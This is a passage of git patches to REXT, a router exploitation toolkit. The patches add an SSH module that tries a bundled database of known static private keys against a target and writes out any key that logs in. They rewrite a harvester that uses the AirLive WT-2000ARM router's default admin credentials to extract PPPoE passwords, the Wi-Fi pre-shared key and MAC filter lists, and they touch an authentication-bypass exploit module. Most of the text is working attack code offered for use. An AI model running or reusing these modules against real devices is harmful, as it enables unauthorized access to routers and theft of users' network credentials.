query_yes_no -from interface.messages import print_failed, print_success, print_warning, print_error, print_info +from interface.messages import print_failed, print_success, print_warning, print_error, print_info, print_help import requests import requests.exceptions @@ -321,7 +321,10 @@ def do_run(self, e): self.auth_bypass() else: if query_yes_no("Check indicates device is not vulnerable, would you like to try the exploit anyway?", - default="no") == "yes": + default="no"): self.auth_bypass() + def help_list(self): + print_help("List all available devices") + Exploit() From eb824d37f144308200b0f3b3b5d083385381a415 Mon Sep 17 00:00:00 2001 From: j91321 Date: Sat, 24 Dec 2016 13:44:09 +0100 Subject: [PATCH 12/14] Added paramiko as requirement, new database with bad SSH key pairs and module to test keys against target. http_ping.py renamed to http_get --- README.md | 1 + databases/bad_keys.db | Bin 0 -> 13312 bytes .../generic/{http_ping.py => http_get.py} | 4 +- modules/misc/generic/ssh_bad_keys.py | 83 ++++++++++++++++++ requirements.txt | 1 + 5 files changed, 87 insertions(+), 2 deletions(-) create mode 100644 databases/bad_keys.db rename modules/misc/generic/{http_ping.py => http_get.py} (98%) create mode 100644 modules/misc/generic/ssh_bad_keys.py diff --git a/README.md b/README.md index ecc10fc..55e0f2a 100644 --- a/README.md +++ b/README.md @@ -31,6 +31,7 @@ Requirements I am trying to keep the requirements minimal: - requests +- paramiko License ======= diff --git a/databases/bad_keys.db b/databases/bad_keys.db new file mode 100644 index 0000000000000000000000000000000000000000..60582320d2cd04c1f61420712445c5b45e2e5ca5 GIT binary patch literal 13312 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 YZ_XWYq%ZmZ?IQ8J2I9Ai!&3nLPf5l-b^rhX literal 0 HcmV?d00001 diff --git a/modules/misc/generic/http_ping.py b/modules/misc/generic/http_get.py similarity index 98% rename from modules/misc/generic/http_ping.py rename to modules/misc/generic/http_get.py index 9d638d8..4a43675 100644 --- a/modules/misc/generic/http_ping.py +++ b/modules/misc/generic/http_get.py @@ -1,5 +1,5 @@ # Name:Send GET HTTP and print response. -# File:http_ping.py +# File:http_get.py # Author:Ján Trenčanský # License: GNU GPL v3 # Created: 27.12.2015 @@ -18,7 +18,7 @@ class Exploit(core.Exploit.RextExploit): """ Name:Send GET HTTP and print response. -File:http_ping.py +File:http_get.py Author:Ján Trenčanský License: GNU GPL v3 Created: 27.12.2015 diff --git a/modules/misc/generic/ssh_bad_keys.py b/modules/misc/generic/ssh_bad_keys.py new file mode 100644 index 0000000..252b491 --- /dev/null +++ b/modules/misc/generic/ssh_bad_keys.py @@ -0,0 +1,83 @@ +# Name:SSH Bad keys tester +# File:ssh_bad_keys.py +# Author:Ján Trenčanský +# License: GNU GPL v3 +# Created: 23.12.2016 +# Last modified: 23.12.2016 +# Shodan Dork: +# Description: Testing static SSH keys gathered from various sources + +import core.Exploit +import core.io +import core.loader + +import interface.utils +from interface.messages import print_error, print_info, print_success + +import paramiko +import io + + +class Exploit(core.Exploit.RextExploit): + """ +Name:SSH bad keys tester +File:ssh_bad_keys.py +Author:Ján Trenčanský +License: GNU GPL v3 +Created: 23.12.2016 +Description: Testing static SSH keys gathered from various sources + +Options: + Name Description + + host Target host address + """ + + def __init__(self): + core.Exploit.RextExploit.__init__(self) + + def do_set(self, e): + args = e.split(' ') + try: + if args[0] == "host": + if interface.utils.validate_ipv4(args[1]): + self.host = args[1] + else: + print_error("please provide valid IPv4 address") + except IndexError: + print_error("please specify value for variable") + + def do_run(self, e): + print_info("Testing known keys") + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + connection = core.loader.open_database("./databases/bad_keys.db") + cursor = connection.cursor() + cursor.execute("SELECT user, port, filename, type, private_key FROM keys;") + entries = cursor.fetchall() + for entry in entries: + try: + username = entry[0] + port = entry[1] + filename = entry[2] + key_type = entry[3] + string_key = entry[4] + if key_type == 'RSA': + private_key = paramiko.RSAKey.from_private_key(io.StringIO(string_key)) + elif key_type == 'DSA': + private_key = paramiko.DSSKey.from_private_key(io.StringIO(string_key)) + else: + print_error("Failed to load key of type:", key_type) + continue + client.connect(self.host, port=port, username=username, pkey=private_key, look_for_keys=False, + timeout=10) + core.io.writetextfile(string_key, filename+".key") + print_success("Username:", username, "port:", port) + print_info("Private key writen to:", filename+".key") + client.close() + except paramiko.AuthenticationException: + pass + except: + pass + +Exploit() diff --git a/requirements.txt b/requirements.txt index 28fbc91..992f720 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1 +1,2 @@ requests>=2.9.1 +paramiko>=2.1.1 From 9a2b67b089f06e65d8aca4470d967272cad9f89b Mon Sep 17 00:00:00 2001 From: j91321 Date: Sat, 24 Dec 2016 17:28:50 +0100 Subject: [PATCH 13/14] Finally fixed WT2000ARM harvester, using bs4 now. Added to requirements. --- README.md | 1 + core/Harvester.py | 3 + core/loader.py | 3 + modules/harvesters/airlive/WT2000ARM.py | 212 +++++++++++------------- requirements.txt | 1 + 5 files changed, 107 insertions(+), 113 deletions(-) diff --git a/README.md b/README.md index 55e0f2a..18023a5 100644 --- a/README.md +++ b/README.md @@ -32,6 +32,7 @@ I am trying to keep the requirements minimal: - requests - paramiko +- beautifulsoup4 License ======= diff --git a/core/Harvester.py b/core/Harvester.py index bf0c070..364bee5 100644 --- a/core/Harvester.py +++ b/core/Harvester.py @@ -50,6 +50,9 @@ def complete_set(self, text, line, begidx, endidx): igon = len(module_line) - len(text) return [s[igon:] for s in modules if s.startswith(module_line)] + def help_set(self): + print_help("Set value of variable: \"set host 192.168.1.1\"") + def help_back(self): print_help("Exit script") diff --git a/core/loader.py b/core/loader.py index 44f1882..4673ae8 100644 --- a/core/loader.py +++ b/core/loader.py @@ -58,6 +58,9 @@ def check_dependencies(): break # FIXME this is not the best way to parse dependencies probably, may break rext if == is used dependency = dependency[:dependency.find('>=')] + # FIXME beautifulsoup4 is imported as bs4 + if dependency == 'beautifulsoup4': + dependency = 'bs4' found = importlib.util.find_spec(dependency) if found is None: print_warning(dependency + " not found some modules may not work!") diff --git a/modules/harvesters/airlive/WT2000ARM.py b/modules/harvesters/airlive/WT2000ARM.py index fcb57ac..0921054 100644 --- a/modules/harvesters/airlive/WT2000ARM.py +++ b/modules/harvesters/airlive/WT2000ARM.py @@ -3,20 +3,18 @@ # Author:Ján Trenčanský # License: GNU GPL v3 # Created: 29.8.2013 -# Last modified: 19.8.2015 +# Last modified: 24.12.2016 # Shodan Dork: WWW-Authenticate: Basic realm="AirLive WT-2000ARM -# Description:This module is old, very very old, major refactoring is needed -# Actually it's complete shit I'll have to rewrite it completly -# TODO:Don't use it's broken +# Description: Module will fetch PPPoE/PPPoA credentials and WLAN credentials also MAC address filter values +# First module of REXT ever -# UI -# WEP/WPA import requests import requests.exceptions -import re +import bs4 import core.Harvester -from interface.messages import print_failed, print_success, print_red, print_green, print_warning, print_error +from interface.messages import print_success, print_error, print_info, print_help +import interface.utils class Harvester(core.Harvester.RextHarvester): @@ -26,123 +24,111 @@ class Harvester(core.Harvester.RextHarvester): Author:Ján Trenčanský License: GNU GPL v3 Created: 29.8.2013 -Description:This module is old, very very old, major refactoring is needed - Actually it's complete shit I'll have to rewrite it completly +Description: Module will fetch PPPoE/PPPoA credentials and WLAN credentials also MAC address filter values Options: Name Description host Target host address port Target port + username Target username + password Target password """ - #Default credentials and default IP of target ( ,() is there because of for cycle that goes through credentials) - def __init__(self): # need to fix passing credentials () breaks for cycle) - self.credentials_list = (("admin", "airlive"), ()) + + username = 'admin' + password = 'airlive' + + def __init__(self): core.Harvester.RextHarvester.__init__(self) - #Start method needs to be named do_* for nested interpreter + def do_set(self, e): + args = e.split(' ') + try: + if args[0] == "host": + if interface.utils.validate_ipv4(args[1]): + self.host = args[1] + else: + print_error("please provide valid IPv4 address") + elif args[0] == "port": + if str.isdigit(args[1]): + self.port = args[1] + else: + print_error("port value must be integer") + elif args[0] == "username": + self.username = args[1] + elif args[0] == "password": + self.password = args[1] + except IndexError: + print_error("please specify value for variable") + + def do_password(self, e): + print_info(self.password) + + def help_password(self): + print_help("Prints current value of password") + + def help_username(self): + print_info("Prints current value of username") + + def do_username(self, e): + print_info(self.username) + def do_run(self, e): - for credentials in self.credentials_list: - username = credentials[0] - password = credentials[1] - auth = (username, password) - #Sending request - try: - print("Connecting to " + self.host) - response = requests.get("http://"+self.host+"/basic/home_wan.htm", auth=auth, timeout=60) - #headers, body = http.request("http://"+self.target+"/basic/home_wan.htm") - #Checks if authentication was successful + try: + print_info("Connecting to:", self.host) + auth = (self.username, self.password) + response = requests.get("http://"+self.host+"/basic/home_wan.htm", auth=auth, timeout=60) + # headers, body = http.request("http://"+self.target+"/basic/home_wan.htm") + if response.status_code == 200: + print_success("Authentication successful") + ppp_credentials = self.fetch_ppp(response.text) + print_success("PPPoE/PPPoA Username:", ppp_credentials[0]) + print_success("PPPoE/PPPoA Password", ppp_credentials[1]) + response = requests.get("http://"+self.host+"/basic/home_wlan.htm", auth=auth, timeout=60) if response.status_code == 200: - print("200:Authentication successful :)") - ppp_credentials = self.fetch_ppp(response.text) - print(ppp_credentials) - #Sending request for home_wlan - response = requests.get("http://"+self.host+"/basic/home_wan.htm", auth=auth, timeout=60) - if response.status_code == 200: - wlan_credentials = self.fetch_wlan(response.text) - print(wlan_credentials) - return 1 - else: - print_error("Failed fetching home_wlan.html. Status code:"+response.status_code) - return -1 - elif response.status_code == 401: - print("401:Authentication failed") - continue - elif response.status_code == 404: - print("404:Page does not exists") - break + wlan_credentials = self.fetch_wlan(response.text) + print_success("ESSID:", wlan_credentials[0]) + print_success("PSK:", wlan_credentials[1]) + for mac in wlan_credentials[2]: + print_success("MAC filter:", mac) else: - print("Something went wrong here. Status code:"+response.status_code) - break - except requests.exceptions.Timeout: - print_error("Timeout!") - except requests.exceptions.ConnectionError: - print_error("No route to host") - return 1 # this shouldn't happen + print_error("Status code:", response.status_code) + elif response.status_code == 401: + print_error("401 Authentication failed") + elif response.status_code == 404: + print_error("404 Page does not exists") + else: + print_error("Status code:", response.status_code) + except requests.exceptions.Timeout: + print_error("Timeout!") + except requests.exceptions.ConnectionError: + print_error("No route to host") def fetch_ppp(self, body): - html = body.decode('ascii') - #Regex for username - username_re = re.compile(r""" #raw string - NAME="wan_PPPUsername" #search for wan_PPPUsername - [^>]*? #Ignore any args between NAME and VALUE - VALUE= #VALUE parameter - (?P["']) #Simple or double quotes - (?P[^\1]+?) #Get ppp_username - (?P=quote) #closed by quotes - [^>]*? #any other args after NAME - > #close of INPUT tag - """, re.ASCII|re.IGNORECASE|re.VERBOSE) - #Regex for password - password_re = re.compile(r""" #raw string - NAME="wan_PPPPassword" #search for wan_PPPPassword - [^>]*? #Ignore any args between NAME and VALUE - VALUE= #VALUE parameter - (?P["']) #Simple or double quotes - (?P[^\1]+?) #Get ppp_password - (?P=quote) #closed by quotes - [^>]*? #any other args after NAME - > #close of INPUT tag - """, re.ASCII|re.IGNORECASE|re.VERBOSE) - ppp_username = username_re.search(html) - ppp_username = ppp_username.group("username") - ppp_password = password_re.search(html) - ppp_password = ppp_password.group("password") - ppp_credentials = (ppp_username,ppp_password) - return ppp_credentials - - def fetch_wlan(self,body): - html = body.decode('ascii') - essid_re = re.compile(r""" #raw string - name="ESSID" #search for essid - [^>]*? #Ignore any args between NAME and VALUE - value= #VALUE parameter - (?P["']) #Simple or double quotes - (?P[^\1]+?) #Get essid - (?P=quote) #closed by quotes - [^>]*? #any other args after NAME - > #close of INPUT tag - """, re.ASCII|re.IGNORECASE|re.VERBOSE) - #TODO return more than one key, skip keys 0x0000000000 - #TODO add support for determination of encryption type - #WPA passphrase - wep_key_re = re.compile(r""" #raw string - name="WEP_Key[1-9] #search for wan_PPPPassword - [^>]*? #Ignore any args between NAME and VALUE - value= #VALUE parameter - (?P["']) #Simple or double quotes - (?P[^\1]+?) #Get key - (?P=quote) #closed by quotes - [^>]*? #any other args after NAME - > #close of INPUT tag - """, re.ASCII | re.IGNORECASE | re.VERBOSE) - essid = essid_re.search(html) - essid = essid.group("essid") - wep_key = wep_key_re.search(html) - wep_key = wep_key.group("key") - wlan_credentials = (essid,wep_key) - return wlan_credentials - - -#if __name__ == "__main__": + wan_page_soap = bs4.BeautifulSoup(body, 'html.parser') + inputs = wan_page_soap.find_all("input") + ppp_username = "" + ppp_password = "" + for i in inputs: + if i['name'] == "wan_PPPUsername": + ppp_username = i['value'] + elif i['name'] == "wan_PPPPassword": + ppp_password = i['value'] + return ppp_username, ppp_password + + def fetch_wlan(self, body): + wan_page_soap = bs4.BeautifulSoup(body, 'html.parser') + inputs = wan_page_soap.find_all("input") + essid = "" + wlan_psk = None + mac_filter_list = [] + for i in inputs: + if i['name'] == "ESSID": + essid = i['value'] + elif i['name'] == "PreSharedKey": + wlan_psk = i['value'] + elif i['name'] == "WLANFLT_MAC": + mac_filter_list.append(i['value']) + return essid, wlan_psk, mac_filter_list + Harvester() diff --git a/requirements.txt b/requirements.txt index 992f720..8181844 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,3 @@ requests>=2.9.1 paramiko>=2.1.1 +beautifulsoup4>=4.5.1 \ No newline at end of file From fde5ee2619f0abe896b771e515576c5fecea83c7 Mon Sep 17 00:00:00 2001 From: j91321 Date: Sat, 24 Dec 2016 17:34:46 +0100 Subject: [PATCH 14/14] Banner change to version 1.0.0 --- interface/banner.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/interface/banner.txt b/interface/banner.txt index 6b75dcb..c33dde9 100644 --- a/interface/banner.txt +++ b/interface/banner.txt @@ -3,6 +3,6 @@ REXT:Router EXploitation Toolkit Author:Ján Trenčanský Email:jan.trencansky(at)gmail.com Twitter:@j91321 -Version:0.0 +Version:1.0.0 License:GNU GPL v3 ================================ \ No newline at end of file